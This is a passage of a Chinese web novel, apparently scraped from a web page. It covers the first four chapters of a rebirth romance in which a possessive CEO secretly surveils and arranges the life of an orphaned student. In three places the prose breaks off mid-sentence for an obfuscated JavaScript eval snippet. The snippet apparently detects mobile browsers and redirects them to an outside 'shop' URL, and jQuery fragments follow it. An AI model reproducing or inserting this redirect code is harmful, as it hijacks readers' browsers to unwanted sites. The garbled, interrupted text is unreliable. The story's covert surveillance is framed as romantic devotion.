《对我强取豪夺的大佬重生了》
1. 寄给茶茶的第1封信
从陵墓出来时,煦色韶光,寂静一片翠绿。
这样的好天气,已经持续了两个月。
茶茶走了两个月了。
程司屿还记得葬礼那天,不像她爱看的偶像剧里烘托生离死别时,惯有的雾色晦暝、骤雨滂沱。
正相反,那天的天气过分得好,温暖、明媚,一如茶茶。
像是盛大的狂欢,庆祝她终于逃出囚笼、重获新生。
也像无声的奚落,“恨”或“爱”,此类情感太过浓烈,她不愿分给他丝毫。
站在甲板上,程司屿凝视着波澜无惊的海面。
眼前浮光潮湿,尘雾嗡鸣。
茶茶真的走了,她的呼吸化作了空气。
此后,他的每一次喘息,都是在损耗她仍存在于世的蛛丝马迹。
“嗡。”
手机来电的震动声,将程司屿从晦暗的思绪中短暂拽回。
“程总,慕茶慈善已步入正轨,果果福利院重振规划的推进也很顺利,另外公司股东大会将于……”
电话那头,特助的汇报渐渐模糊,在他右耳划出一道尖锐的耳鸣。
“明天,就是遇到茶茶的日子。”程司屿兀地轻笑一声。
只不过是,三年前的“明天”。
喉间的刺痛勒得他几乎说不出话。
他想说,他把一切都安排好了,与茶茶的诺言也兑现了。
他是否有资格去见她。
低哑的嗓音像被海风吹散了一般,听起来不太真实。
张文勋敏锐察觉到他的异常,倏地起身,向办公室外走去,“程总,您现在在哪儿?”
事实上,这种异常持续了很久。
起初,张文勋以为凭着程司屿对果茶的偏执程度,她的死讯会令他意志消沉,或者歇斯底里,甚至就此堕落。
但没有。
从果茶离开以来,程司屿一次都没有在人前落过泪。
脚不沾地地工作、拜遍了从来不信的神仙鬼怪,甚至荒唐地请来招魂师。
他就这么吊着一口气,苟延残喘地活着,像是等待一次转机。
但张文勋知道,回应他的永远只有清晨空荡的房间,晚归漆黑的窗。
日复一日。恍恍惚惚,犹如隔世。
原来,死亡并不是解脱,而是一场密谋的复仇。
引擎发动的声音虚虚遮盖电话那头的声响,张文勋将手机死死贴在耳侧,不自觉提高嗓音,“程总!不管您现在在哪儿,请先冷静一些,想想茶茶小姐,她一定也希望您……”
每个人都试图用茶茶来规劝程司屿。
劝他回到正常的生活,劝他与自己和解,劝他……
放过她,也放过自己。
程司屿眼睫轻颤,径直挂断通话。
此时的烟汀海,暮色四合。
绛紫的晚霞与深蓝的海岸连成一线,短暂相逢的须臾,宛若合卺。
放不下,也放不了。
夜幕无限逼近海平面。深海冥蒙莫测,像一只张着血盆大口的巨兽。
程司屿纵身跃下。
-
“嘭!”
一声闷响过后。程司屿从假寐中惊醒。
抬眸看去,张文勋正用脚抵着门,抱了大摞材料进来,“抱歉程总,打扰您休息了。”
作为朝夕相处的特助,张文勋当然知道程司屿这几日忙得几乎没有阖过眼。
也不知道发生了什么,程总就像变了个人似的。
明明前不久还是意气风发的商界新贵,几乎是一夜之间,性情全然大变。阴晴不定也就罢了,那股上位者的威慑气场着实让他有些发怵。
顶着那道幽深的视线,张文勋将材料放到他的办公桌上,“您让调查的资料都在这儿了。”
他顿了顿,有些犹豫,“那边刚传回消息,她已经出发了,一切……”
话音未落,耳畔轻快的脚步搅起沉闷的空气。
数秒后,只剩大开的沉香木门在风中微晃。
张文勋咽下嘴边的疑虑,不知为何竟也感到一丝畅快。
他在心底默默补完未说完的话。
……一切顺利。
*
果茶没想到一路上会这么顺利。
她自幼在果果福利院长大,于小镇的一方天地打转,没有出过远门。
收到大学录取通知书后,她决定提前出发,去往花城。
出门前,果果妈妈耳提面命“外面的世界很复杂,不能听信别人的话”“要机灵点,保持警惕……”
可她一路上遇到的人都很热情,还会主动帮她指路、提行李,就像自家人一样。
原来大城市的人都这般善良可亲。
站在花城高铁站北广场,果茶扫眼望去。
“车牌尾号三个九,黑色的车,很大很显眼……”
回忆起下车前杨叔打来的那通电话,她喃喃自语道。
八月初阳光炽热,一阵风过,脸上的汗水都要被热气蒸发。
999……999……
顶着日头,果茶晕晕乎乎找起符合关键信息的车辆。
找到了!
将彩色编织袋绑到行李箱上,她径直走向不远处一辆黑得锃亮的车旁。
果茶在前座车门处停下。
一尘不染的车窗上只映出她自己的脸。
她将眼睛贴上去,试图看清车内人。
车窗陡然降了下来。驾驶座坐着的正是一位中年男子。
“杨叔叔您好,我是果茶。您是不是等了好久,辛苦啦!”
看着眼前笑得明媚的小姑娘,王麟蹙眉,正要说什么。
后座传出一声低沉的咳嗽。
他突然福至心灵,忙点头道:“诶对,稍等,我帮你把行李放上车。”
说罢,王麟小跑下车,帮果茶打开副驾驶的车门。
重新坐回驾驶座的数十秒中,他满脑子都是“终于见到令总裁魂牵梦绕的神秘人物了!”
作为程司屿的专职司机,王麟明显感觉他这几天不对劲。
向张特助一打听才知道,原来程总这几日一直在调查一个女孩。
几乎每天,他都要独自赶往云山小镇。
往返上百公里的路程,程司屿不胜其烦地从晨曦中去,在暮色中回。
谁也不知道他在发什么疯。
-
“诶,原来车里还有其他人吗?”
看到后座低着头、似乎正在处理公务的陌生男人,果茶以为是王麟顺道拉的乘客。
正要打声招呼,中间的隔断玻璃蓦地升起,阻绝了她接下来的攀谈。
碰了一鼻子灰,果茶也不觉尴尬。
她转回头,眉眼弯弯地说:“杨叔叔,这辆车好高级呀,居然还有隔板。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208047|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而且真的像您说的一样,很大很显眼!我在广场上一眼就看到了!”
王麟笑而不语,心想:那可不是吗,毕竟价钱摆在这儿。
不过他想不明白,程总好不容易看到人了,为何又避而不见?是在玩什么欲擒故纵的把戏吗?
压下内心的疑虑,再次启动车子时,王麟抬头瞥了眼车内后视镜。
挡得可真严实。
“茶茶,接下来要去哪儿?”
王麟的问询让果茶一时愣住。
果果妈妈不是说让自己先去他家暂住,等开学了再搬去学校吗?叔叔这是忘记了……还是反悔了?
但她没有说出自己的疑虑。她其实想得很明白,即使杨叔叔和果果妈妈是多年故交,但她毕竟是个外人,也不太好意思过多叨扰人家。
她可以在杨叔叔家附近找一家便宜的青年旅舍,这样的话既有个照应,又不至于麻烦他们。
嗯,不过杨叔叔家在哪里来着,好像是一片海,叫烟……
“烟汀海。”
王麟陡然听到耳返里传来一道低沉的声音。
那道声音顿了顿,似乎在抑制某种情绪,“带茶茶去烟汀海。”
“啊!你瞧我这记性,真是老糊涂了”,王麟当即拍了拍后脑勺,“之前早就说过了的嘛,去烟汀海,对不对?”
果茶闻声点了点头,歪着脑袋甜甜一笑,“杨叔叔,您一点也不老,看起来可年轻,其实刚才我也没有想起来……”
就像海报上的年画娃娃一样,真有福气。
王麟心中一阵妥帖,难怪能让总裁茶饭不思、神魂颠倒的,这谁顶得住。
只不过……要是能不叫他“杨叔叔”就更好了。王麟内心滴血。
原来爱看霸总文学的下场便是,替身竟成了他自己!
没一会儿,茶茶的注意力被窗外风景吸引。
她降下车窗,趴在窗沿,遇到并驾齐驱的车里冒出毛绒绒的狗头,就学着小奶狗的叫声去逗小狗。
待驾驶座的主人看向她时,又扬起灿烂的笑容,极其自来熟地跟人打招呼,像只欢乐而不知忧愁的小鸟。
王麟以为是自己也跟着笑出了声。
半晌,反应过来,那道短促的笑声来自耳返。
他悄悄抬眼,瞥向后视镜,隔断玻璃依旧遮得严实。
下一秒,耳返里传来一声冷清的提醒:“王叔,专心开车。”
行吧,宝贝得跟眼珠子似的,连多看一眼都不行。
王麟收回视线。
在等红灯的空档,手机弹出张文勋的消息:“完蛋!派去的保镖说低头看了会儿手机的功夫,人就不见了,王叔,你是去陪程总蹲人了对吧?”
王麟偷偷打字回复:“幸好茶茶小姐有福气,没走丢,不然你是真该死!”
“?什么意思?不对,你怎么知道她叫茶茶。”
张文勋发誓,自己绝对没有泄露过半点有关总裁的秘密。
10、9、8……
红灯闪烁不定。
身旁的小姑娘已经仰躺在椅背上,眯着眼昏昏欲睡。
不出意外,那道熟悉的声音再次从耳廓传入头骨:“王叔,麻烦将车内温度调高一些。”
拨动温控系统,车前的红灯霎时跳转。
王麟按下发送键——
「茶茶认错车了,不小心上了总裁的车。」
2. 寄给茶茶的第2封信
车内静谧无声。
甚至能听到女孩熟睡时轻缓的呼吸。
一阵炸音的来电铃声陡然响起。
吓得果茶瞬间清醒,她手忙脚乱从背包里掏出手机,一串熟悉的号码明晃晃地跳跃着。
杨叔叔?
迟疑地瞟了一眼身侧正开着车的男人,果茶按下接通键。
“茶茶啊,你还没出站吗?我这车等了好久哦要超时了……”
挂断电话后,她脑袋仍有些发懵:她坐的不是杨叔叔的车?那是谁的车?
果茶不敢打草惊蛇,万一身侧就是传说中专门拐卖年轻女孩的人贩子呢?
小心翼翼转过头,她再次试探性地喊了声:“杨叔叔?”
摸爬滚打多年、看人眼色的功力已经到了炉火纯青地步的王麟,一眼就看出茶茶眼底的怀疑和不安。
想来是真正的“杨叔叔”打来了电话。
王麟面色一如寻常,“茶茶,早就想问了,你为什么叫我杨叔叔?是不是记错叔叔的名字啦?我是王麟王叔叔啊。”
完了闯大祸了,她真上错车了!
“对不起!王叔叔,我、我好像认错车了”,果茶顿时耳根泛红,一边迅速收拾好背包,一边低头道歉,“要不,您将我就放在路边吧,我自己过去就好了。”
“你不是郭姹吗?”王麟讶异地看了她一眼。
果茶摇摇头,“我是果茶,水果的果,茶叶的茶。”
一想到因为自己,不仅害得杨叔叔在车站白等了那么久,还耽误王麟也接错了人。果茶愧疚不已,“王叔叔,实在不好意思,您现在放我下去,再返回去接人,说不定还来得及。”
下一秒,王麟手机也响了。
他说了两句,挂断电话后,扭头笑道:“看来我还真是老糊涂了,原来是接错人了。”
“不过那孩子已经自己打车走了”,王麟语气平和,“没事茶茶,我刚好也要去烟汀海,顺道把你送过去吧。”
果茶松了口气,突然又想到什么,她眉心微蹙,“那后排的乘客呢?也顺路吗?会不会耽误您拉客?”
毕竟后座那个男人似乎有些冷漠,一直没说过话。
王麟噗呲一笑,感情小姑娘是把他当成网约车司机了。
他也不解释,计上心头,“你要不自己问问他呢?”
果茶才不知道什么叫社恐和露怯,直接敲了敲挡板,“哥哥你好,我可以让司机叔叔先送我去烟汀海吗?或者先送你去目的地也可以的,哥哥你顺路吗?”
一口一句哥哥,叫得人心里软乎乎的。王麟心道:这不得把程总美死。
果不其然,隔断玻璃后面传来一道富有磁性的低沉嗓音,“好”。
末了,他又补充一句:“顺路,先送你。”
心里的石头总算落了地。果茶忍不住扬起嘴角,花城人真好,王叔叔真好。
哥哥也真好。声音还很好听。
-
跟杨叔叔解释清楚事情的始末后,车也刚好到了烟汀海景区。
王麟把行李物品拿下车,估摸着东西的重量,“茶茶,你一个人能行吗?要不我再送你一段……”
“不用不用!您已经帮我很多啦,不能再麻烦您了!”果茶接过行李,“快上车吧,别让后座的哥哥等急了。”
看到男人担忧的神色,果茶无端想起了福利院的叔叔,她忍不住上前,伸手轻轻抱了抱王麟,很快又松开,“谢谢王叔叔!”
活了大半辈子都没和人抱过几次的王麟,恍然间愣了神,回过神后的第一念头竟是:程总完蛋了,这辈子也逃不掉茶茶的攻势了。
待王麟坐回驾驶座,茶茶从背包里掏出两个用塑封袋装着的毛毡花胸针,递过车窗,“叔叔,这个是我自己做的,送给你。”
她指了指黑色隔板,“还有一个给后座的好心哥哥……如果他不嫌弃的话。”
王麟躬身接过,指腹偶然摸到纸张的粗粝触感,疑惑地翻过去,两个塑封袋中间夹着一张皱巴巴的五十元纸币。
再望向窗外时,女孩笑靥如花地朝他挥了挥手,“拜拜啦!”
然后头也不回地拖着行李箱走远了。
巨大的彩色编织袋摞在行李箱上,看起来比她整个人还要厚重。
不过还没走几步远,就有穿着景区工作服的工作人员主动帮她提起了行李。
王麟咂了咂舌,“这又是您安排的人吗?”
他来这儿多少次了,就没见过有工作人员帮人拿过行李。还有,茶茶说来花城的一路上遇到了很多热心肠的好人,恐怕也都是程司屿的手笔。
真不知说他是体贴,还是变态。
黑色玻璃隔板霎时降下。
一只手伸了过来,“给我。”
王麟心头一梗,将其中一个毛毡花递给程司屿。
“还有一个。”
我就知道!王麟气极,但对暴君的霸权专制又束手无策,只好眼巴巴地将另一个毛毡花也递给他。
谁知程司屿并没有因此收手。
王麟震惊:“不是吧!孩子给我的五十块辛苦费您也要吗?这钱您用的出去吗?”不如留给他买菜。
“嗯?”程司屿动了动指尖,气音中透出不容置喙的态度。
行,真行。王麟把钱重重压在塑封袋上,以示自己的不满。
手心上的小物件似乎还残留着茶茶的体温。
程司屿动作轻缓地取出塑封袋里的毛毡花,用指腹细细摩挲,但又怕将脆弱不堪的花儿给碾碎了,只能强忍住手上的动作。
半晌,他才将视线从花上挪开,单手撑住太阳穴,“茶茶刚才抱你了。”
不是疑问,是肯定。他在车内看得一清二楚。
准确地说,从见到茶茶的第一秒开始,他就再也无法将目光从她身上挪开。
他从来没有哪一刻如此庆幸车中有道挡板,能够阻隔自己的视线,他不敢让茶茶看到自己的眼睛。
否则她一定会看透他眼底可怖的占有欲和痴迷,然后……远离他,像前世一样。
他已经失去过她一次了。
这一次,绝不能重蹈覆辙。
“啊?难道您还要废了我这把老骨头吗?”王麟表情浮夸。
以前,对凡事都不太上心的程司屿倒不至于做这档子事,但现在……
虽不知他和八竿子打不着的茶茶是如何认识的,但王麟很确信,程司屿对她有着一种异乎寻常的偏执。
程司屿轻笑一声,眼皮也没抬,“王叔,说笑了。”
“那程总……接下来我们去哪儿?”
“等。”
*
等到杨叔叔后,果茶先把行李暂存在他家。
本想立刻就去找家便宜的青年旅舍,但杨叔说什么也不让她住在外面,甚至还搬出了果果女士“施压”。
果茶没辙,只能应下。
心里却在盘算:等找到一份包吃包住的兼职,就可以名正言顺地离开了。毕竟……她还有更重要的事要做。
她要找到枝枝姐。
果枝是和茶茶从小一起在果果福利院长大的姐姐,长得漂亮、人又聪明,几年前在花城工作时被星探发掘,成了小明星,还赚了不少钱。
即使出名了,她也没忘本,时不时给福利院捐款,也常常带很多好吃的好玩的去看望茶茶,两人一直保持着密切的联系。
但从两个月前开始,果果妈妈就怎么也联系不上她,她原来的电话也成了空号。报了警,警方说她已成年而且身为公众人物,立不了失踪人口案。
那时茶茶正在全力备战高考,果果妈妈怕影响到茶茶学习,便没有告诉她。
直到高考结束,茶茶才知道枝枝姐已经断联好几个月,所以在她拿到录取通知书后,便决定提前去往花城碰碰运气,万一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208048|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
碰到认识果枝的人能有她现在的联系方式呢。
“可是……该从哪里开始找呢?”
果茶双手托着下巴,叹了口气。
花城比她想象中还要大,一个人淹没在人潮里,摩肩擦踵中就销声匿迹了。况且她人生地不熟的。
想不通,就……先睡一觉。
暖暖的海风拂面,海水拍打礁石的白噪音让人昏昏欲睡。
茶茶躺在树荫下的银色沙滩,眯起眼睛,背部滚烫的沙砾、钻进钻出的沙蟹,以及……
两双炽热的眼睛,正明晃晃地盯着她。
“喂小孩,你怎么躺在这里?”
戴着墨镜、身形颀长的男人扬了扬下巴,语气中透着一丝鄙夷。
果茶拍了拍身上沾上的沙子,“不好意思,这里不能躺吗?我看好多人都躺着呢……”
江知渺无语,你也不看看人家都躺在哪里?你都快躺我伞下了好吗?凭自己有几分姿色就想方设法故意接近他的人多了去了,但他没想到,连这小土丫头也这么有心机。
茶茶能有什么坏心思呢?她只知道这片地方的荫凉最大、视野最开阔。
意识到可能占了人家的地盘,果茶报赧道歉,正要离开。
男人身边的明艳女子突然叫住她:“妹妹,可以麻烦你帮我和我男朋友,在海边拍个照吗?”
-
敬业的茶茶摄影师拍了几十张照片后,才点点头,满意收手。
“姐姐你真漂亮!”
果茶偷偷瞟了眼另一侧的江知渺,“你男朋友是不是眼睛很小,为什么拍照时都不摘墨镜?”
沈颂宜也笑着瞥了他一眼,用手挡住嘴巴小声说:“对,他有些自卑。”说完这话,她自己都不信,嗤笑了一声。
“小孩,这是你的手机吗?”
江知渺从果茶刚蹲过的沙堆里捡起一部手机。
看着款式老土、磨损严重的“老人机”,他嘶了一声,“什么世纪的老古董?”
“是我的是我的!”果茶凑上前,正要接过手机。
江知渺却收回手,“作为交换,告诉我,你叫什么名字。”
到底还是出现了,第一个不友善的“城里人”。
“果茶。”茶茶闷闷不乐回道。
“喝的那种果茶?”
江知渺笑得前俯后仰,“这是正常人能取出来的名字吗?你爸妈怎么想的?”
她没有爸妈。她被果果妈妈从福利院后面的一片茶林里捡到,所以叫果茶。
听说贱名好养活,福利院第一批跟果果妈妈姓的孩子都这样取名,果枝、果真、果然、果动……随意且率性,没有人计较为什么这样取名。
因为幸运的人会被领养,然后改名。至于等不到领养人的小孩……就更加不会在意自己的名字了。
但这些,显然没必要跟眼前这位高高在上的公子哥解释。
“要你管。”
果茶白了他一眼,摊开手心,“请还给我。”
“衣服土土的,名字土土的,手机也土土的……”
江知渺“啧”了一声,大掌一挥。
手机以一条抛物线的运动轨迹直直坠进海里,“扔了,我给你买个最贵最新的。”
果茶伸出的手僵在空中,还没意识到发生了什么。
沈颂宜先反应过来,指着江知渺的鼻子破口大骂:“你有病吧?你把茶茶的手机丢海里做什么!”
好在扔得还不算太远,一阵浪打过来,还能看到脆皮手机像在卷筒洗衣机里一样,连连翻滚。
果茶冷着脸,一把推开挡在身前的江知渺,不管不顾涉水去捞。
海水几乎浸没她的大腿,在仅留余温的斜阳下泛出一丝冷气。
起起伏伏的浪花下,果茶有些站不稳,脚步虚浮险些绊倒。
“小心。”
一只手横亘而出,握住她的胳膊。
3. 寄给茶茶的第3封信
那只大掌强劲有力,手背的青筋暴起,顺着手往上看,是一个体型高大的男人。
因为背光,果茶看不太清他的脸。
她仰头,眯起眼睛。谁知男人却偏过头,“先回岸上,我帮你找。”
在沈颂宜焦急的呼唤下,果茶折返回岸。
江知渺皱眉问:“你至于吗?不就一个破手机?”
“你少说点!”沈颂宜没好气地打断他混不吝的发言。
意识到果茶真的有些生气了,江知渺摘下墨镜,将脸凑到她面前,“这样吧,哥哥不仅赔你一部手机,还给你我的签名照和联系方式,怎么样?够意思吧?”
果茶红着眼眶瞥了他一眼,不想理他。
她一言不发蹲在沙滩上,看向海浪中正弓着身子帮自己找手机的陌生男人。
“喂,什么反应?你不认识我吗?”江知渺跟狗皮膏药一样坐到果茶的身边,不可置信地俯身盯着她的眼睛,两人的鼻尖几乎不过咫尺。
果茶没有察觉到他们之间的距离过于亲密了,只是觉得这个人很神经。给他和漂亮姐姐拍照时,让他摘墨镜也不摘,生怕别人认出他似的,现在摘了又一个劲儿往人跟前凑。
“我应该认识你吗?”
“我是……”
“找到了。”
一个手机横空挡在两人视线中间,还恰逢其时地朝江知渺那侧甩了甩。
湿咸的海水混着沙砾溅到眼睛里,江知渺刺痛地偏过头。
“是你的那部吗?”
男人半蹲下身子,手机在他摊开的大掌中显得格外小,“可惜已经黑屏了……”
“是的!”果茶双手并用捧住他的手掌,从他的掌心中捞起手机,“谢谢哥哥!”
总算笑了。
程司屿直起身,捻了捻指尖,只感觉掌心像被小猫挠过一样,泛着一阵痒意。
不知是泡水坏了,还是没电了,手机已经开不了机。
果茶将东西放进胸前挂着的防水袋里后,也站起来,朝程司屿眉眼弯弯道:“我叫果茶,就是喝的那种酸酸甜甜的果茶。”
“你呢?”
海边卷起一阵巨浪,簌簌拍打沙滩的声音,吓得游客惊叫连连。
一切的一切,都与上辈子的记忆渐渐重叠。
茶茶这句熟悉的开场白,曾反反复复在他的梦魇中响起。那时,她已经像只小蝴蝶,欢快地扇着翅膀飞远了。
独留他一人,沉溺在终无天日的悔恨中。
他每日每夜都在用“假如”凌迟自己,假如他没有因一己私欲,将茶茶禁锢在自己身边;假如他能用正确的方式去爱她;假如他还能有一次机会重新去认识茶茶……
现在,机会到了。
程司屿微弓下身子,让自己的视线与茶茶平齐。
他一瞬不瞬地望向女孩水涔涔的眼眸,“程司屿。”
爱了你两辈子的程司屿,永远也不可能放手的程司屿,只希望你能健康活着的程司屿。
茶茶,这次我不会再走错一步了。
-
亦步亦趋跟着程司屿,穿过海边私人俱乐部的玻璃长廊时,果茶只感觉一路上有无数双眼睛盯着自己。
她抖了抖身子,贴得他更近些。
察觉茶茶靠近的体温,想到几乎一抬手就能触到她半湿的裙摆,程司屿喉咙一紧,快步走到沙发边。
“快到更衣室了,是不是有些冷?”
他拾起一块叠得齐整的绒毯,披到茶茶身上。
俱乐部冷气开得足,茶茶又刚在水里泡过,浸透的裙摆贴在身上,想来会很难受。他太紧张了,竟疏忽了这一点。
果茶捏住毯子两角,“谢谢司屿哥哥,不冷……”说完就打了个喷嚏。
她不好意思地用下巴蹭了蹭柔软的绒毯。
意识到程司屿也下过水,身上湿的面积比自己还要大,果茶递出毯子一角,“你身上都湿了,要不要用毯子先擦一擦?”
她歪着脑袋,头上的两颗小丸子发型也随之轻晃。
程司屿不动声色地深吸一口气,推开更衣室的门,“那里有烘干机,躺在里面玩会儿手机,十分钟……”
瞥见茶茶落寞的表情,程司屿顿了顿,想起她的手机已经报废,“抱歉,我那弟弟从小性子顽劣,目中无人惯了。”
“讨厌死了……”果茶狠狠点头,嘟囔道。
刚才在沈颂宜的介绍下,茶茶才知道原来江知渺是正当红的顶流明星,他家和程司屿家是世交,他们三个也算是从小一起长大,只不过是……江知渺单方面屁颠屁颠跟在程司屿身后。
家境好、长得好,一出道就受万人追捧,除了程司屿,没人治得了他,便养成了他这幅混不吝的性子。
但在果茶心里,江知渺只是个“脑子有点毛病”的混蛋。
同样的成长环境,司屿哥哥怎么就这么矜贵温柔呢?
“茶茶,你将手机给我,我让人帮你修好,然后再赔你一部新的,好吗?”程司屿知道这部旧手机对茶茶的重要性,里面记录着她和她那个姐姐的点点滴滴。
果茶摇摇头,“不用了,我自己拿去修就好啦!”
程司屿也不再勉强,教她如何使用机器后,指了指隔壁,“我就在旁边换身衣服,有事叫我。”
“司屿哥哥,你真好!”
看着小姑娘明媚的笑容,程司屿强忍住内心掀起的惊涛骇浪,佯装镇定地点点头,虚浮着步子向外走去。
走了数十步,才想起来重新替她关好更衣室的门。
-
趴在软榻上,果茶左看看右摸摸,她还是第一次用这么神奇的机器,她以前只在枝枝姐发的视频里看到过,不过那是给小猫用的。
打了个滚,她又透过玻璃四处打量起更衣室的环境,只是一个更衣室,竟比福利院的会议厅还大。
听颂宜姐姐说,这里很多产业都是程司屿家的,难怪路过的好多人看到司屿哥哥,都会毕恭毕敬地喊他“程总”。
不过这些都和她没有任何关系,茶茶很清楚,她与他们都只是萍水相逢,可能今天过后再也不会有交集了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208049|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“咔哒”一声,烘干机检测到衣物已经正常如初,自动开了锁。
几乎是同一时间,更衣室外也响起敲门声。
果茶小跑着打开门。
程司屿站在门外,不同于下午在海边稍显宽松轻便的着装,此时的他西装革履,没有系领带,内里黑色衬衣解至第二颗纽扣,露出修长的脖颈。
有些慵懒,但整个人又透出上位者的压迫感。
果茶眨了眨眼,觉得眼前人有些陌生,没有之前那般容易让人亲近,但……但确实好帅。
原来枝枝姐说的“霸道总裁”“制服诱惑”就是这样的。
见茶茶下意识地后退,程司屿慌了神,“是、是我这身不太好看吗?”
温柔而略带征询的语气让茶茶松了口气。眼前的人这不是人人畏惧的“程总”,而是弓着身子帮她从海里捡手机的“司屿哥哥”。
“很帅!”
果茶扬起嘴角,歪了歪头,“不过……这样穿不热吗?”
程司屿轻笑摇头,“等会儿还要去公司处理一些事务,茶茶呢,有何打算?”
他已经做了几日的甩手掌柜,只为完美无差地排演出和前世一样的“初遇”情境。生怕哪一步出错,茶茶就会与他戏剧性地擦肩而过。
不过上天待他不薄,竟还让茶茶误打误撞地提前走到他的车内,加送他一份意外惊喜。
唔……天都黑了还要去上班,好可怜。果茶同情地看了他一眼,“我叔叔家就在附近,我等一下自己走回去就好。”
她看向壁钟,原来已经快八点了!而自己的手机自动关机,说不定叔叔已经给她打过好几通电话。
想到这里,果茶慌乱抓起茶几上的手机,“啊不说了,我现在就要回家了!”
“好”,程司屿扶住她东倒西歪的身子,“不急,我顺路,先送你。”
听到这句熟悉的话,果茶愣在原地。
半晌,她迟疑地扭头看向程司屿,“我们是不是……在哪儿见过?”
程司屿面不改色地柔声问:“茶茶为什么会这么问?”
谁都不知道,也不理解他此时的慌乱,这是两辈子从未有过的情绪。他的脑子里闪过无数种可能,难道前几日在福利院蹲守时被茶茶撞见过?还是她看透了他的真面目?难道是……她想起了前世的记忆?
是了,像他这样十恶不赦的人都能重获新生,若是茶茶……茶茶也重生了,亦或是想起了什么,他还将如何伪装下去?
悬在项上的达摩克利斯之剑,如灭顶之灾,使他动弹不得。
“你是不是就是王叔叔后座的那个话少,但人很好的哥哥!”
果茶惊喜地扬起嘴角,“我就说你的声音怎么听起来那么耳熟……”
“花城那么大,我们竟然又遇到了,好有缘分!”
看着小姑娘弯弯的月牙眼,程司屿心下一动。
实在忍不住将手轻轻放在她的头顶,捏了捏已经乱得不成样子的小丸子,眼底的笑意满溢而出。
“茶茶,真聪明。”
4. 寄给茶茶的第4封信
“茶茶、救我!”
“茶茶,你怎么还没来找我……”
天刚蒙蒙亮,果茶从睡梦中惊醒。梦中果枝哭着向她求救的声音,似乎仍萦绕在耳畔。
裹挟着湿咸气息的海风,从半开的窗户外侵袭进屋,白色的窗帘微微晃动。
呆坐好一会儿,果茶才意识到自己已经不在福利院那个温暖的小窝了。
她揉了揉脸,快速洗漱完,给杨叔叔留了张纸条后,背上背包,猫着身子轻手轻脚出了门。
-
「方案一,找鹿姐姐帮忙打探消息。」
果茶举起手中的笔记本,笔尖在这句话末尾点了点。她在犹豫。
在警方束手无策的情况下,如果想要寻人,找电视台或网络媒体造势,兴许更加高效管用。
而林鹿是花城电视台的记者,曾因在果果福利院调研采访与果茶结识。对于果茶来说,鹿姐姐不仅是一名正直善良的好记者,更是她在花城,除了果枝以外最信任也最要好的人。
但鹿姐姐的工作很忙,而且听果果妈妈说她这些年受到的非议一直很多。果茶沉默一瞬,她不应该在这个时候还给鹿姐姐徒增麻烦。
她在方案一后面画上一个小小的圆圈,视线往下移。
「方案二,找江知渺帮忙寻人。」
既然江知渺是当红顶流,而枝枝姐也是个小明星,那么……说不定他们认识呢?再不济,以江知渺在娱乐圈的人脉,能有关于果枝零星半点的消息也好过她大海捞针。
果茶轻轻咬了咬笔尖,猛得合上笔记本。
就这么决定了!谁让他把自己的手机丢进海里,这点小忙都是他应该做的!
但三个小时后,果茶怏怏地趴在海边的公共吧台上,叹了口气。
果然,在偌大的花城里守株待兔是不可能的。
她的手机还没拿去修,昨天也没有留下江知渺的联系方式,寄希望于他今天还能来海边,似乎有些过于愚蠢了。
果茶起身,打算在周边转转,顺便看看哪里能找到一份兼职。
突然,一张宣传册掉落在她脚边。
【第十二届花城文化旅游节即将开幕,这些景区邀您一同游玩→】
果茶攥着宣传册匆匆瞥了一眼,一抬头,刚刚搬着大箱子路过的几名工作人员所到之处,宣传册散落一地,但他们似乎并没有察觉。
“等等!”
果茶跳下高脚旋转椅,蹲在沙滩上一一捡起册子,拍了拍背面的细沙,“你们的东西掉啦!”
工作人员接过宣传册,仔细检查后,发现箱子底部裂了一条缝。
几人紧急用胶带封好,向她连连道谢。
果茶摆了摆手,好奇地问:“今天这里是有什么活动吗?”
“你不知道吗?一年一度的文旅节快到了,各区的景区都铆足了劲做宣传呢”,一行人一边说,一边往休闲区的树荫下走,“嗐,这次宣传点设在海边嘛,马上又到了旅游旺季,领导让我们早点过来占个好位置……”
游客渐多,工作人员没功夫闲聊。
果茶正好也没事干,便帮他们搭起宣传点,顺便摆放好海报架。
她动作麻利,本来几个工作人员往常半小时才能做完的场地布置工作,在果茶的支援下,竟生生缩短了十分钟。
“小姑娘真利落啊”,年纪稍长一些的女人忍不住夸赞了一句,抬眼仔细一看,才发现眼前的女孩长得异常纯净漂亮。
她扎着简单的高丸子头,脸上不施粉黛,草绿色的齐膝连衣裙衬得肤色更加莹润。
特别是那双带着笑意的湿漉漉的圆眼,像初生的小动物,只消看一眼就能让人心软软。
善良的小姑娘还自告奋勇地站在易拉宝前,吆喝着帮他们分发起宣传册。
